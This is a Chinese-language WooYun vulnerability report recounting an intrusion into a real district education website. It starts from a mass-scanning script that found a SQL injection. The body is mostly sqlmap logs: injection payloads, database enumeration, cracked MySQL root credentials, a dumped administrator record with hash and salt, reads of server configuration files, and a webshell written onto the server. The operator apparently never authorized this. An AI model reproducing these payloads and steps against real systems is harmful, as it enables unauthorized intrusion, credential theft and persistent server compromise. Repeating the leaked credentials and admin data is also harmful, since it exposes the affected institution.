当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0125977

漏洞标题：渗透测试之深圳龙岗教育网

相关厂商：深圳市龙岗教育局

漏洞作者： 安全小飞侠

提交时间：2015-07-11 08:57

修复时间：2015-08-25 08:58

公开时间：2015-08-25 08:58

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-08-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

一个SQL注入引发的成功入侵内网事件...
请叫我安全小飞侠，谢谢！

详细说明：

最近写了个自动采集URL和扫描SQL注入的小脚本，想来看看有没有什么新发现。
于是，有了下面的故事...
某日下班回家，打开自己跑了几天脚本的服务器看看，心想改到收网的时候了。谁料结果并不如预期的那样，一条“大鱼”也没抓到，就在日志里发现了下面这个url：

http://www.szlg.edu.cn/hudong.php?id=3144


简单的手动测试了一下, 果然有SQL注入漏洞.

http://www.szlg.edu.cn/hudong.php?id=3144' or 1=1


sqli.jpg


于是乎，果断拿sqlmap跑一下，各种数据表尽现眼前，简单看了一下得有250+吧。而且还具有DBA的权限。

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=-7371 OR 6656=6656#
    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY cla
use
    Payload: id=1 OR (SELECT 2370 FROM(SELECT COUNT(*),CONCAT(0x71767a7071,(SELE
CT (ELT(2370=2370,1))),0x717a7a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.C
HARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))GkhW)
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x71767a7071,0x71736979464a5a754149,0x
717a7a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[17:24:18] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:24:18] [INFO] fetching database names
[17:24:18] [INFO] the SQL query used returns 9 entries
[17:24:18] [INFO] resumed: "information_schema"
[17:24:18] [INFO] resumed: "cdcol"
[17:24:18] [INFO] resumed: "empirecms"
[17:24:18] [INFO] resumed: "lgedusupervision"
[17:24:18] [INFO] resumed: "lgjys"
[17:24:18] [INFO] resumed: "mysql"
[17:24:18] [INFO] resumed: "performance_schema"
[17:24:18] [INFO] resumed: "phpmyadmin"
[17:24:18] [INFO] resumed: "test"
available databases [9]:
[*] cdcol
[*] empirecms
[*] information_schema
[*] lgedusupervision
[*] lgjys
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[17:25:21] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:25:21] [INFO] fetching current user
current user:    'root@localhost'
[17:25:21] [INFO] fetching current database
current database:    'empirecms'
[17:25:21] [INFO] testing if current user is DBA
[17:25:21] [INFO] fetching current user
current user is DBA:    True
[18:04:19] [INFO] cracked password 'root' for user 'root'
database management system users password hashes:
[*] pma [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root
[*] root [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root


这里的显示有点奇怪（看着显示的是数据库），实际上这些都是Empirecms数据库下的表。

tables.jpg


习惯性地看看有没有什么敏感信息可以看见。

Database: empirecms
Table: phome_enewsuser
[22 columns]
+------------+----------------------+
| Column     | Type                 |
+------------+----------------------+
| addip      | varchar(20)          |
| addtime    | int(10) unsigned     |
| adminclass | mediumtext           |
| checked    | tinyint(1)           |
| classid    | smallint(5) unsigned |
| email      | varchar(120)         |
| filelevel  | tinyint(1)           |
| groupid    | smallint(5) unsigned |
| lastip     | varchar(20)          |
| lasttime   | int(10) unsigned     |
| loginnum   | int(10) unsigned     |
| password   | varchar(32)          |
| preip      | varchar(20)          |
| pretime    | int(10) unsigned     |
| rnd        | varchar(20)          |
| salt       | varchar(8)           |
| styleid    | smallint(5) unsigned |
| truename   | varchar(20)          |
| userid     | int(10) unsigned     |
| username   | varchar(30)          |
| userorg    | mediumtext           |
| userprikey | varchar(50)          |
+------------+----------------------+
Database: empirecms
+-----------------+---------+
| Table           | Entries |
+-----------------+---------+
| phome_enewsuser | 32      |
+-----------------+---------+


看看有没有管理员密码什么的登录一下后台。

[17:34:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:34:32] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select * from phome_enewsuser where userid=1
[17:35:11] [INFO] fetching SQL SELECT statement query output: 'select * from pho
me_enewsuser where userid=1'
[17:35:11] [INFO] you did not provide the fields in your query. sqlmap will retr
ieve the column names itself
[17:35:11] [WARNING] missing database parameter. sqlmap is going to use the curr
ent database to enumerate table(s) columns
[17:35:11] [INFO] fetching current database
[17:35:11] [INFO] fetching columns for table 'phome_enewsuser' in database 'empi
recms'
[17:35:11] [INFO] the SQL query used returns 22 entries
[17:35:11] [INFO] the query with expanded column name(s) is: SELECT addip, addti
me, adminclass, checked, classid, email, filelevel, groupid, lastip, lasttime, l
oginnum, password, preip, pretime, rnd, salt, styleid, truename, userid, usernam
e, userorg, userprikey FROM phome_enewsuser WHERE userid=1
[17:35:11] [INFO] the SQL query used returns 1 entries
[17:35:11] [INFO] retrieved: "127.0.0.1","1415617712","|","0","0","","0","1",...
select * from phome_enewsuser where userid=1 [1]:
[*] 127.0.0.1, 1415617712, |, 0, 0, , 0, 1, 125.218.66.122, 1436497771, 494, 504
07f6a9a8138749ac075b0decbb1d6, 125.218.66.122, 1436497708, GmAwTFUqjim8eCg28t7g,
 8vYLFas4, 1, , 1, lgadmin, , HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH


果然有，但是一看是加盐哈希存储的果断放弃了。。。于是乎，我在想既然破解不了密码，那我能不能通过insert增加一个管理员权限的账号呢。
想到就干，但这时我注意到一个细节就是这个数据库的名字Empirecms和所有数据表的前缀phome_enews****， 有没有似曾相识的感觉？那还等什么，百度一下呗。

epcms.jpg


看到没，就是它，“帝国网站管理系统”（好霸气的名字！！！）。看到这，不禁有点开心了，既然能知道源码和数据库结构那还不事半功倍了。 下载一个部署到虚机里部署一下，看看系统是怎么认证管理员的。在虚机里一番云雨，终于发现如下方法可以重置管理员密码。

admin.jpg


到这里，我似乎找到了印证我开始想法的办法了，那就是在虚机的系统上添加一个管理员账号，然后导出系统生成的salt，随机数，以及加密后的密码到这个系统上，我不就等于获得到了这个CMS系统管理员的权限了。于是，我兴高采烈地开始实验我的想法并开心地期待着成功的消息。

web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:34:32] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select * from phome_enewsuser where userid=1
[17:35:11] [INFO] fetching SQL SELECT statement query output: 'select * from pho
me_enewsuser where userid=1'
[17:35:11] [INFO] you did not provide the fields in your query. sqlmap will retr
ieve the column names itself
[17:35:11] [WARNING] missing database parameter. sqlmap is going to use the curr
ent database to enumerate table(s) columns
[17:35:11] [INFO] fetching current database
[17:35:11] [INFO] fetching columns for table 'phome_enewsuser' in database 'empi
recms'
[17:35:11] [INFO] the SQL query used returns 22 entries
[17:35:11] [INFO] the query with expanded column name(s) is: SELECT addip, addti
me, adminclass, checked, classid, email, filelevel, groupid, lastip, lasttime, l
oginnum, password, preip, pretime, rnd, salt, styleid, truename, userid, usernam
e, userorg, userprikey FROM phome_enewsuser WHERE userid=1
[17:35:11] [INFO] the SQL query used returns 1 entries
[17:35:11] [INFO] retrieved: "127.0.0.1","1415617712","|","0","0","","0","1",...
select * from phome_enewsuser where userid=1 [1]:
[*] 127.0.0.1, 1415617712, |, 0, 0, , 0, 1, 125.218.66.122, 1436497771, 494, 504
07f6a9a8138749ac075b0decbb1d6, 125.218.66.122, 1436497708, GmAwTFUqjim8eCg28t7g,
 8vYLFas4, 1, , 1, lgadmin, , HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
sql-shell> insert into phome_enewsuser (addip, addtime, adminclass, checked, cla
ssid, email, filelevel, groupid, lastip, lasttime, loginnum, password, preip, pr
etime,rnd, salt, styleid, truename, userid, username, userorg, userprikey) value
s ('127.0.0.1', '1415617712', '|', 0, 0, , 0, 1, '125.218.66.122','1436497771',
494, '50407f6a9a8138749ac075b0decbb1d6', '125.218.66.122', '1436497708, 'GmAwTFU
qjim8eCg28t7g','8vYLFas4', 1, '', 33, 'lgadmin', '', 'HHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHH')
[17:56:59] [WARNING] execution of custom SQL queries is only available when stacked queries are supported
sql-shell>


然而，失败了！查了一下资料才知道（大牛勿喷），原来在此处不支持insert和update语句。好吧，此路也走不通了，难道就只能到这了吗？突然想到前面好像出现了一个很熟悉的数据库phpmyadmin而且还有获得到root的密码，要不试试？

phpmyadmin.jpg


结果，再次失败了！前面获取到的账号和密码都无法登陆。怎么办呢？冷静下来，在分析分析，phpmyadmin+mysql+Apache+php,好熟悉的组合，难道是XAMPP部署的应用？
那就来测试一下吧，先获取一个/opt/lampp/etc/php.ini看看吧

[18:11:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[18:11:45] [INFO] fingerprinting the back-end DBMS operating system
[18:11:45] [INFO] the back-end DBMS operating system is Linux
[18:11:45] [INFO] fetching file: '/opt/lampp/etc/php.ini'
do you want confirmation that the remote file '/opt/lampp/etc/php.ini' has been
successfully downloaded from the back-end DBMS file system? [Y/n] Y
[18:11:48] [INFO] the local file C:\Users\hacker\.sqlmap\output\www.szlg.edu.cn\
files\_opt_lampp_etc_php.ini and the remote file /opt/lampp/etc/php.ini have the
 same size (69081b)
files saved to [1]:
[*] C:\Users\hacker\.sqlmap\output\www.szlg.edu.cn\files\_opt_lampp_etc_php.ini
(same file)


php.jpg


看来果然是XAMPP部署的应用，那就好办了，现在只要找到网站的绝对路径就可以直接上传一个webshell拿下它了。
顺利读取了/opt/lampp/etc/httpd.conf并找到了网站的绝对路径：/home/lgedu

[18:17:08] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[18:17:08] [INFO] fingerprinting the back-end DBMS operating system
[18:17:08] [INFO] the back-end DBMS operating system is Linux
[18:17:08] [INFO] fetching file: '/opt/lampp/etc/httpd.conf'
do you want confirmation that the remote file '/opt/lampp/etc/httpd.conf' has be
en successfully downloaded from the back-end DBMS file system? [Y/n] Y
[18:17:11] [INFO] the local file C:\Users\hacker\.sqlmap\output\www.szlg.edu.cn\
files\_opt_lampp_etc_httpd.conf and the remote file /opt/lampp/etc/httpd.conf ha
ve the same size (23342b)
files saved to [1]:
[*] C:\Users\hacker\.sqlmap\output\www.szlg.edu.cn\files\_opt_lampp_etc_httpd.co
nf (same file)


homepath.jpg


最后，上传一个webshell菜刀小连一下，网站终于被彻底拿下。

[18:21:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[18:21:33] [INFO] fingerprinting the back-end DBMS operating system
[18:21:33] [INFO] the back-end DBMS operating system is Linux
[18:21:34] [WARNING] reflective value(s) found and filtering out
[18:21:34] [WARNING] expect junk characters inside the file as a leftover from U
NION query
do you want confirmation that the local file 'C:/Users/hacker/Desktop/wy.php' ha
s been successfully written on the back-end DBMS file system (/home/lgedu/e/admi
n/view/key/wy.php)? [Y/n] Y
[18:21:39] [INFO] the remote file /home/lgedu/e/admin/view/key/wy.php is larger
(35b) than the local file C:/Users/hacker/Desktop/wy.php (28b)
[18:21:39] [INFO] fetched data logged to text files under 'C:\Users\hacker\.sqlm
ap\output\www.szlg.edu.cn'


webshell.jpg


完...

漏洞证明：

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=-7371 OR 6656=6656#
    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY cla
use
    Payload: id=1 OR (SELECT 2370 FROM(SELECT COUNT(*),CONCAT(0x71767a7071,(SELE
CT (ELT(2370=2370,1))),0x717a7a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.C
HARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))GkhW)
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x71767a7071,0x71736979464a5a754149,0x
717a7a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[17:24:18] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:24:18] [INFO] fetching database names
[17:24:18] [INFO] the SQL query used returns 9 entries
[17:24:18] [INFO] resumed: "information_schema"
[17:24:18] [INFO] resumed: "cdcol"
[17:24:18] [INFO] resumed: "empirecms"
[17:24:18] [INFO] resumed: "lgedusupervision"
[17:24:18] [INFO] resumed: "lgjys"
[17:24:18] [INFO] resumed: "mysql"
[17:24:18] [INFO] resumed: "performance_schema"
[17:24:18] [INFO] resumed: "phpmyadmin"
[17:24:18] [INFO] resumed: "test"
available databases [9]:
[*] cdcol
[*] empirecms
[*] information_schema
[*] lgedusupervision
[*] lgjys
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[17:25:21] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[17:25:21] [INFO] fetching current user
current user:    'root@localhost'
[17:25:21] [INFO] fetching current database
current database:    'empirecms'
[17:25:21] [INFO] testing if current user is DBA
[17:25:21] [INFO] fetching current user
current user is DBA:    True
[18:04:19] [INFO] cracked password 'root' for user 'root'
database management system users password hashes:
[*] pma [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root
[*] root [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root


[18:21:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL 5.0
[18:21:33] [INFO] fingerprinting the back-end DBMS operating system
[18:21:33] [INFO] the back-end DBMS operating system is Linux
[18:21:34] [WARNING] reflective value(s) found and filtering out
[18:21:34] [WARNING] expect junk characters inside the file as a leftover from U
NION query
do you want confirmation that the local file 'C:/Users/hacker/Desktop/wy.php' ha
s been successfully written on the back-end DBMS file system (/home/lgedu/e/admi
n/view/key/wy.php)? [Y/n] Y
[18:21:39] [INFO] the remote file /home/lgedu/e/admin/view/key/wy.php is larger
(35b) than the local file C:/Users/hacker/Desktop/wy.php (28b)
[18:21:39] [INFO] fetched data logged to text files under 'C:\Users\hacker\.sqlm
ap\output\www.szlg.edu.cn'


webshell.jpg


修复方案：

你们懂的！

版权声明：转载请注明来源 安全小飞侠@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝